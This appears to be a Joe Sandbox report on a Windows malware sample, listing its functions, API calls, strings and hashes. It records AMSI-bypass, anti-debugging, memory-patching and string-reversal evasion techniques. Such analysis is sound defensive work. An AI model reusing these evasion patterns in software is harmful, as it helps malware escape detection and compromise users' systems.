                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: LibraryMemoryVirtual$AddressAllocateContextCreateFreeHandleLoadModuleProcProcessReadSectionThreadUnmapUserView
                                                                                                                                                            • String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$I_QueryTagInformation$Initialize$MiniDumpReadDumpStream$MiniDumpWriteDump$NtOpenObjectAuditAlarm$NtOpenProcess$NtReadVirtualMemory$NtSetSecurityObject$OpenSession$SLGetLicenseInformation$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$dbgcore$ntdll$sppc
                                                                                                                                                            • API String ID: 2852987580-51457883
                                                                                                                                                            • Opcode ID: ae7e2565ae12cedb99b6cb7840fe8bfb00cf6f1f52135b935e01872439a7b2b8
                                                                                                                                                            • Instruction ID: 297990b369b6378e639484b8ce8c6a526368a2b14bdd2e213dbfbce9bea122c3
                                                                                                                                                            • Opcode Fuzzy Hash: ae7e2565ae12cedb99b6cb7840fe8bfb00cf6f1f52135b935e01872439a7b2b8
                                                                                                                                                            • Instruction Fuzzy Hash: 88E2107CA9011C9FEB16EB68CCA0EDE73BAAF45300F1041A1E545EB315DE74AE458F92
                                                                                                                                                            Function 02835A78 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184registrystringlibraryCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 8710 2835a78-2835ab9 GetModuleFileNameA RegOpenKeyExA 8711 2835afb-2835b3e call 28358b4 RegQueryValueExA 8710->8711 8712 2835abb-2835ad7 RegOpenKeyExA 8710->8712 8717 2835b62-2835b7c RegCloseKey 8711->8717 8718 2835b40-2835b5c RegQueryValueExA 8711->8718 8712->8711 8713 2835ad9-2835af5 RegOpenKeyExA 8712->8713 8713->8711 8715 2835b84-2835bb5 lstrcpynA GetThreadLocale GetLocaleInfoA 8713->8715 8719 2835bbb-2835bbf 8715->8719 8720 2835c9e-2835ca5 8715->8720 8718->8717 8721 2835b5e 8718->8721 8723 2835bc1-2835bc5 8719->8723 8724 2835bcb-2835be1 lstrlenA 8719->8724 8721->8717 8723->8720 8723->8724 8725 2835be4-2835be7 8724->8725 8726 2835bf3-2835bfb 8725->8726 8727 2835be9-2835bf1 8725->8727 8726->8720 8729 2835c01-2835c06 8726->8729 8727->8726 8728 2835be3 8727->8728 8728->8725 8730 2835c30-2835c32 8729->8730 8731 2835c08-2835c2e lstrcpynA LoadLibraryExA 8729->8731 8730->8720 8732 2835c34-2835c38 8730->8732 8731->8730 8732->8720 8733 2835c3a-2835c6a lstrcpynA LoadLibraryExA 8732->8733 8733->8720 8734 2835c6c-2835c9c lstrcpynA LoadLibraryExA 8733->8734 8734->8720
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleFileNameA.KERNEL32(00000000,?,00000105,02830000,0285E790), ref: 02835A94
                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AB2
                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,02830000,0285E790), ref: 02835AD0
                                                                                                                                                            • RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 02835AEE
                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 02835B37
                                                                                                                                                            • RegQueryValueExA.ADVAPI32(?,02835CE4,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,02835B7D,?,80000001), ref: 02835B55
                                                                                                                                                            • RegCloseKey.ADVAPI32(?,02835B84,00000000,?,?,00000000,02835B7D,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 02835B77
                                                                                                                                                            • lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 02835B94
                                                                                                                                                            • GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 02835BA1
                                                                                                                                                            • GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 02835BA7
                                                                                                                                                            • lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 02835BD2
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C19
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C29
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 02835C51
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 02835C61
                                                                                                                                                            • lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 02835C87
                                                                                                                                                            • LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 02835C97
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
                                                                                                                                                            • String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
                                                                                                                                                            • API String ID: 1759228003-2375825460
                                                                                                                                                            • Opcode ID: 3bfd785e2916d0cc76f0bff8e5b4182da16f6d25390cc79155fe9beef331913f
                                                                                                                                                            • Instruction ID: 7d31e59b48b37cb6463214799bd9763412aac47acce82f12393674953d37a350
                                                                                                                                                            • Opcode Fuzzy Hash: 3bfd785e2916d0cc76f0bff8e5b4182da16f6d25390cc79155fe9beef331913f
                                                                                                                                                            • Instruction Fuzzy Hash: 77519C7DA4024C7EFB22D6A8CC46FEF77BD9B08744F8005A1A608E6181D7789A44CFE5
                                                                                                                                                            Function 02848798 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 10677 2848798-28487bd LoadLibraryW 10678 2848807-284880d 10677->10678 10679 28487bf-28487d7 GetProcAddress 10677->10679 10680 28487fc-2848802 FreeLibrary 10679->10680 10681 28487d9-28487f8 call 2847cf8 10679->10681 10680->10678 10681->10680 10684 28487fa 10681->10684 10684->10680
                                                                                                                                                            APIs
                                                                                                                                                            • LoadLibraryW.KERNEL32(bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize,028923A4,0284A774,UacScan), ref: 028487AC
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 028487C6
                                                                                                                                                            • FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,?,000006A8,00000000,028923A4,0284A3BF,ScanString,028923A4,0284A774,ScanBuffer,028923A4,0284A774,Initialize), ref: 02848802
                                                                                                                                                              • Part of subcall function 02847CF8: NtWriteVirtualMemory.NTDLL(?,?,?,?,?), ref: 02847D6C
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
                                                                                                                                                            • String ID: BCryptVerifySignature$bcrypt
                                                                                                                                                            • API String ID: 1002360270-4067648912
                                                                                                                                                            • Opcode ID: 3c551edc5e455c3a9af3d918d61743e12e8f610f4a44b376cb28ca3c35649ab2
                                                                                                                                                            • Instruction ID: 0d6438f54a3264d1a076e05a22d1ebff508246ba864139b5a54a8e9895d1f482
                                                                                                                                                            • Opcode Fuzzy Hash: 3c551edc5e455c3a9af3d918d61743e12e8f610f4a44b376cb28ca3c35649ab2
                                                                                                                                                            • Instruction Fuzzy Hash: E7F0C87DA81328FFE310AA6DAC44F16379CB782314F0C0929BA08C71E4DB740414AB94
                                                                                                                                                            Function 0284F024 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 28libraryloaderCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            • Executed
                                                                                                                                                            • Not Executed
                                                                                                                                                            control_flow_graph 10694 284f024-284f03e GetModuleHandleW 10695 284f040-284f052 GetProcAddress 10694->10695 10696 284f06a-284f072 10694->10696 10695->10696 10697 284f054-284f064 CheckRemoteDebuggerPresent 10695->10697 10697->10696 10698 284f066 10697->10698 10698->10696
                                                                                                                                                            APIs
                                                                                                                                                            • GetModuleHandleW.KERNEL32(KernelBase), ref: 0284F034
                                                                                                                                                            • GetProcAddress.KERNEL32(00000000,CheckRemoteDebuggerPresent), ref: 0284F046
                                                                                                                                                            • CheckRemoteDebuggerPresent.KERNEL32(FFFFFFFF,?,00000000,CheckRemoteDebuggerPresent,KernelBase), ref: 0284F05D
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: AddressCheckDebuggerHandleModulePresentProcRemote
                                                                                                                                                            • String ID: CheckRemoteDebuggerPresent$KernelBase
                                                                                                                                                            • API String ID: 35162468-539270669
                                                                                                                                                            • Opcode ID: 83fe20b13194929b5f80680e7b0c34ba0aa6e60d934ea1f2c54a7ed495357589
                                                                                                                                                            • Instruction ID: ebc55851c013aed7f88c3cafcb989e7a95a94a61778ded65c4f9b05d16def281
                                                                                                                                                            • Opcode Fuzzy Hash: 83fe20b13194929b5f80680e7b0c34ba0aa6e60d934ea1f2c54a7ed495357589
                                                                                                                                                            • Instruction Fuzzy Hash: 2CF0273C90021CBBEB11B6AC88887DDFBB85B25328F2403C8A524E21C1FB751650C692
                                                                                                                                                            Function 0284DFE4 Relevance: 7.6, APIs: 5, Instructions: 80nativefileCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA
                                                                                                                                                            • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E01F
                                                                                                                                                            • NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0284E0B4), ref: 0284E04F
                                                                                                                                                            • NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0284E064
                                                                                                                                                            • NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0284E090
                                                                                                                                                            • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0284E099
                                                                                                                                                              • Part of subcall function 02834C0C: SysFreeString.OLEAUT32(0284ED84), ref: 02834C1A
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 1897104825-0
                                                                                                                                                            • Opcode ID: dae91b11d0e559dfc5a8ddc9b6143c60d7f750dcb7a8c82d2abef87479518c9b
                                                                                                                                                            • Instruction ID: 7ed0940dd9940be7713d37366e6c8b92cc042472dcef0b3815641337ec2b7dd9
                                                                                                                                                            • Opcode Fuzzy Hash: dae91b11d0e559dfc5a8ddc9b6143c60d7f750dcb7a8c82d2abef87479518c9b
                                                                                                                                                            • Instruction Fuzzy Hash: BB21A47965070CBBEB11EAD8CC56FDE77BDAB48B04F500461B700F71C0DAB4AA058B96
                                                                                                                                                            Function 0284E72C Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111networkCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                            • InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0284E86A
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: CheckConnectionInternet
                                                                                                                                                            • String ID: Initialize$OpenSession$ScanBuffer
                                                                                                                                                            • API String ID: 3847983778-3852638603
                                                                                                                                                            • Opcode ID: 34cb8f97895cbf4763d378502178bbd803b8ff3b3c7835cffb41f722c019754b
                                                                                                                                                            • Instruction ID: 57277859474292a67ad21660486b1471fdbf69052e40f4891f91bb4492e4b2f7
                                                                                                                                                            • Opcode Fuzzy Hash: 34cb8f97895cbf4763d378502178bbd803b8ff3b3c7835cffb41f722c019754b
                                                                                                                                                            • Instruction Fuzzy Hash: 12410B7DA1020C9FEB12EBA8D880A9EB7FAFF98710F214461E401E7251DE74AD058F52
                                                                                                                                                            Function 0284DF00 Relevance: 6.1, APIs: 4, Instructions: 80nativefileCOMMON
                                                                                                                                                            Download Yara Rule

                                                                                                                                                            Control-flow Graph

                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02834ECC: SysAllocStringLen.OLEAUT32(?,?), ref: 02834EDA
                                                                                                                                                            • RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0284DFD2), ref: 0284DF3F
                                                                                                                                                            • NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0284DF79
                                                                                                                                                            • NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0284DFA6
                                                                                                                                                            • NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0284DFAF
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: FilePath$AllocCloseCreateNameName_StringWrite
                                                                                                                                                            • String ID:
                                                                                                                                                            • API String ID: 3764614163-0
                                                                                                                                                            • Opcode ID: 1a2862b01432c1a9a585e5f0d728fc547fa7ef18a008c8af367d4c645281a873
                                                                                                                                                            • Instruction ID: 0642c20befa837750bac6bc265612a7c0cbd8d992b72acdb7bc660b8723d1804
                                                                                                                                                            • Opcode Fuzzy Hash: 1a2862b01432c1a9a585e5f0d728fc547fa7ef18a008c8af367d4c645281a873
                                                                                                                                                            • Instruction Fuzzy Hash: 3721E079A4030CBBEB21EBE4CC42F9EB7BD9B04B00F504161B600F75D0DBB4AE048A96
                                                                                                                                                            Function 028479AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52memorynativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02847A1F
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                            • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                            • API String ID: 4072585319-445027087
                                                                                                                                                            • Opcode ID: 468cd4ef04ead44a4b0280cf67761c18fb39b8097909c7e24805790f5c1c32f8
                                                                                                                                                            • Instruction ID: d85ceebfab643525363890a1d83cd204cee1350fa8695ba75dda6018339f139e
                                                                                                                                                            • Opcode Fuzzy Hash: 468cd4ef04ead44a4b0280cf67761c18fb39b8097909c7e24805790f5c1c32f8
                                                                                                                                                            • Instruction Fuzzy Hash: AE118C7D64020CBFEB01EFA8DC41EAEB7EEEB48710F414861B900D7250DB74EA149BA1
                                                                                                                                                            Function 028479AC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 51memorynativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 02847A1F
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$AllocateMemoryVirtual
                                                                                                                                                            • String ID: ntdll$yromeMlautriVetacollAwZ
                                                                                                                                                            • API String ID: 4072585319-445027087
                                                                                                                                                            • Opcode ID: 857be1942e6805cb42fea4ecdd278b03264c2d713d7e1bb76b5cd4f217ade5b7
                                                                                                                                                            • Instruction ID: cc2ccbcf4bafd88ea69f951586fe26e121b791b9232706b5da4d75222f1e71f7
                                                                                                                                                            • Opcode Fuzzy Hash: 857be1942e6805cb42fea4ecdd278b03264c2d713d7e1bb76b5cd4f217ade5b7
                                                                                                                                                            • Instruction Fuzzy Hash: 38118C7D64020CBFEB01EFA8DC41E9EB7EEEB48710F414861B900D7250DB74EA149BA1
                                                                                                                                                            Function 0284824C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50nativeCOMMON
                                                                                                                                                            Download Yara Rule
                                                                                                                                                            APIs
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNEL32(KernelBASE,00000000,00000000,02848088,?,?,00000000,?,028479FE,ntdll,00000000,00000000,02847A43,?,?,00000000), ref: 02848056
                                                                                                                                                              • Part of subcall function 02848018: GetModuleHandleA.KERNELBASE(?), ref: 0284806A
                                                                                                                                                              • Part of subcall function 028480C0: GetModuleHandleW.KERNEL32(Kernel32,00000000,00000000,02848148,?,?,00000000,00000000,?,02848061,00000000,KernelBASE,00000000,00000000,02848088), ref: 0284810D
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(00000000,Kernel32), ref: 02848113
                                                                                                                                                              • Part of subcall function 028480C0: GetProcAddress.KERNEL32(?,?), ref: 02848125
                                                                                                                                                            • NtReadVirtualMemory.NTDLL(?,?,?,?,?), ref: 028482BD
                                                                                                                                                            Strings
                                                                                                                                                            Memory Dump Source
                                                                                                                                                            • Source File: 00000008.00000002.2214187643.0000000002831000.00000020.00001000.00020000.00000000.sdmp, Offset: 02830000, based on PE: true
                                                                                                                                                            • Associated: 00000008.00000002.2214169554.0000000002830000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214280552.000000000285E000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214395996.0000000002892000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002986000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            • Associated: 00000008.00000002.2214441547.0000000002989000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                            • Snapshot File: hcaresult_8_2_2830000_brightness.jbxd
                                                                                                                                                            Similarity
                                                                                                                                                            • API ID: HandleModule$AddressProc$MemoryReadVirtual
                                                                                                                                                            • String ID: ntdll$yromeMlautriVdaeRtN
                                                                                                                                                            • API String ID: 2521977463-737317276
                                                                                                                                                            • Opcode ID: 710ae77c2c684bab1d6ded55f0d3de867f387fb164d97ff62566a7abb258dd54
                                                                                                                                                            • Instruction ID: 3122142554b09214bfe88c943780bde6766687343cce7942bf73707a77b5b48a
                                                                                                                                                            • Opcode Fuzzy Hash: 710ae77c2c684bab1d6ded55f0d3de867f387fb164d97ff62566a7abb258dd54
                                                                                                                                                            • Instruction Fuzzy Hash: AB018C7D600208BFEB01EFACDC41EAE77EEEB49710F458860B904D7650DA74AD109B65
